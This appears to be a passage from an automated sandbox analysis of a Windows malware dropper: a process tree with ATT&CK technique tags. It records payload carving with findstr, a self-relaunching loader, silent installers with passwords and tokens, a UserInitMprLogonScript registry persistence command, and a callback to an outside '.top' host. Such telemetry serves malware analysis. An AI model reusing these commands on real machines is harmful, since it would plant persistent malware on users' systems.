        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^JdxmflaMoKJKGKEonRKIDlCuNBztuuxobvTVXbusdtKZTUcnQFZrvdHmOhLNQgGwfAjlQJkqLaammCjTuVhBisMuOxuJLaA$" Attesa.vsdx
        7⤵
        
        PID:2948
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost
        7⤵
        Runs ping.exe
        
        PID:5484
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        Impedire.exe.com I
        7⤵
        
        PID:5144
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        8⤵
        
        PID:4780
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        9⤵
        
        PID:1228
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        10⤵
        
        PID:1500
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        11⤵
        
        PID:3996
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        12⤵
        
        PID:700
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        13⤵
        
        PID:4292
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        14⤵
        
        PID:4792
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        15⤵
        
        PID:3600
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        16⤵
        
        PID:1888
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        17⤵
        
        PID:5716
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        18⤵
        
        PID:2996
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        19⤵
        
        PID:1532
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        20⤵
        
        PID:6012
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        21⤵
        
        PID:2516
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        22⤵
        
        PID:4072
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        23⤵
        
        PID:3696
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        24⤵
        
        PID:5160
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        25⤵
        
        PID:5664
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        26⤵
        
        PID:5940
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        27⤵
        
        PID:1652
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        28⤵
        
        PID:3860
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        29⤵
        
        PID:1808
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        30⤵
        
        PID:1544
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        31⤵
        
        PID:3956
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        32⤵
        
        PID:3928
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        33⤵
        
        PID:4536
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        34⤵
        
        PID:1888
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        35⤵
        
        PID:2160
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        36⤵
        
        PID:4416
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        37⤵
        
        PID:4364
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        38⤵
        
        PID:3916
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        39⤵
        
        PID:5928
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        40⤵
        
        PID:3360
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        41⤵
        
        PID:4416
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        42⤵
        
        PID:2896
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        43⤵
        
        PID:3260
  - - C:\Users\Admin\AppData\Local\Temp\foradvertising.exe
      "C:\Users\Admin\AppData\Local\Temp\foradvertising.exe" /wws1
      4⤵
      PID:5068
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 240
        5⤵
        Program crash
        
        PID:2808
  - - C:\Users\Admin\AppData\Local\Temp\gdgame.exe
      "C:\Users\Admin\AppData\Local\Temp\gdgame.exe"
      4⤵
      PID:5308
    - - C:\Users\Admin\AppData\Local\Temp\gdgame.exe
        
        "C:\Users\Admin\AppData\Local\Temp\gdgame.exe" -a
        5⤵
        
        PID:6072
  - - C:\Users\Admin\AppData\Local\Temp\installer.exe
      "C:\Users\Admin\AppData\Local\Temp\installer.exe" /qn CAMPAIGN="710"
      4⤵
      PID:5256
  - - C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe
      "C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
      4⤵
      PID:2640
    - - C:\Users\Admin\AppData\Local\Temp\is-2GGND.tmp\IBInstaller_74449.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-2GGND.tmp\IBInstaller_74449.tmp" /SL5="$602E2,14713126,721408,C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
        5⤵
        
        PID:6072
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-KSKNA.tmp\{app}\microsoft.cab -F:* %ProgramData%
        6⤵
        
        PID:4148
        
        C:\Windows\SysWOW64\expand.exe
        
        expand C:\Users\Admin\AppData\Local\Temp\is-KSKNA.tmp\{app}\microsoft.cab -F:* C:\ProgramData
        7⤵
        
        PID:2920
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f
        6⤵
        
        PID:1920
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f
        7⤵
        
        PID:3540
      - C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe
        
        "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"
        6⤵
        
        PID:3860
      - C:\Users\Admin\AppData\Local\Temp\is-KSKNA.tmp\{app}\vdi_compiler.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-KSKNA.tmp\{app}\vdi_compiler"
        6⤵
        
        PID:3436
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 236
        7⤵
        Program crash
        
        PID:2160
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c start http://lereknoj24.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^&param=721
        6⤵
        
        PID:6116
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://lereknoj24.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq&cid=74449&param=721
        7⤵
        
        PID:6000
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffd16646f8,0x7fffd1664708,0x7fffd1664718
        8⤵
        
        PID:5480
  - - C:\Users\Admin\AppData\Local\Temp\vpn.exe
      "C:\Users\Admin\AppData\Local\Temp\vpn.exe" /silent /subid=720
      4⤵
      PID:1416
    - - C:\Users\Admin\AppData\Local\Temp\is-UBR61.tmp\vpn.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-UBR61.tmp\vpn.tmp" /SL5="$5021A,15170975,270336,C:\Users\Admin\AppData\Local\Temp\vpn.exe" /silent /subid=720
        5⤵
        
        PID:1380
- - C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe
    "C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
    3⤵
    - Executes dropped EXE
    PID:1568
  - - C:\Users\Admin\AppData\Local\Temp\is-FDTNL.tmp\stats.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-FDTNL.tmp\stats.tmp" /SL5="$3022E,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      PID:2884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2128 -ip 2128
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5140

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5428
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:5528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 860 -ip 860
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1392 -ip 1392
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4476 -ip 4476
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 5528 -ip 5528
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 5848 -ip 5848
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 2352 -ip 2352
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 5016 -ip 5016
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5300

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 644 -p 5784 -ip 5784
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 5356 -ip 5356
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3600

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 604 -p 5968 -ip 5968
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2352

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2092
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:2248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 2248 -ip 2248
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:4552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5080

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 440 -p 4176 -ip 4176
1⤵
PID:5912

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 512 -p 3928 -ip 3928
1⤵
PID:5960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 572 -ip 572
1⤵
PID:1516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 3052 -ip 3052
1⤵
PID:6116

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:2708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 5068 -ip 5068
1⤵
PID:248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 2224 -ip 2224
1⤵
PID:5880

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:6080
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 3F4DD484DA415E4545E7D39AE255DF83 C
  2⤵
  PID:1420
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C87BD7DA38D010EB2FD669ABAE0F5170
  2⤵
  PID:5256
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:2168
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 68A3475D2E573A145CD024E69D61E6BB E Global\MSI0000
  2⤵
  PID:2636

C:\Windows\SysWOW64\rundll32.exe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
PID:908
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 908 -s 448
  2⤵
  - Program crash
  PID:5932

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:3728

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5708
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4300
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 452
    3⤵
    - Program crash
    PID:2896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 908 -ip 908
1⤵
PID:5480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 3700 -ip 3700
1⤵
PID:1696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 4300 -ip 4300
1⤵
PID:5308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 3436 -ip 3436
1⤵
PID:664

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery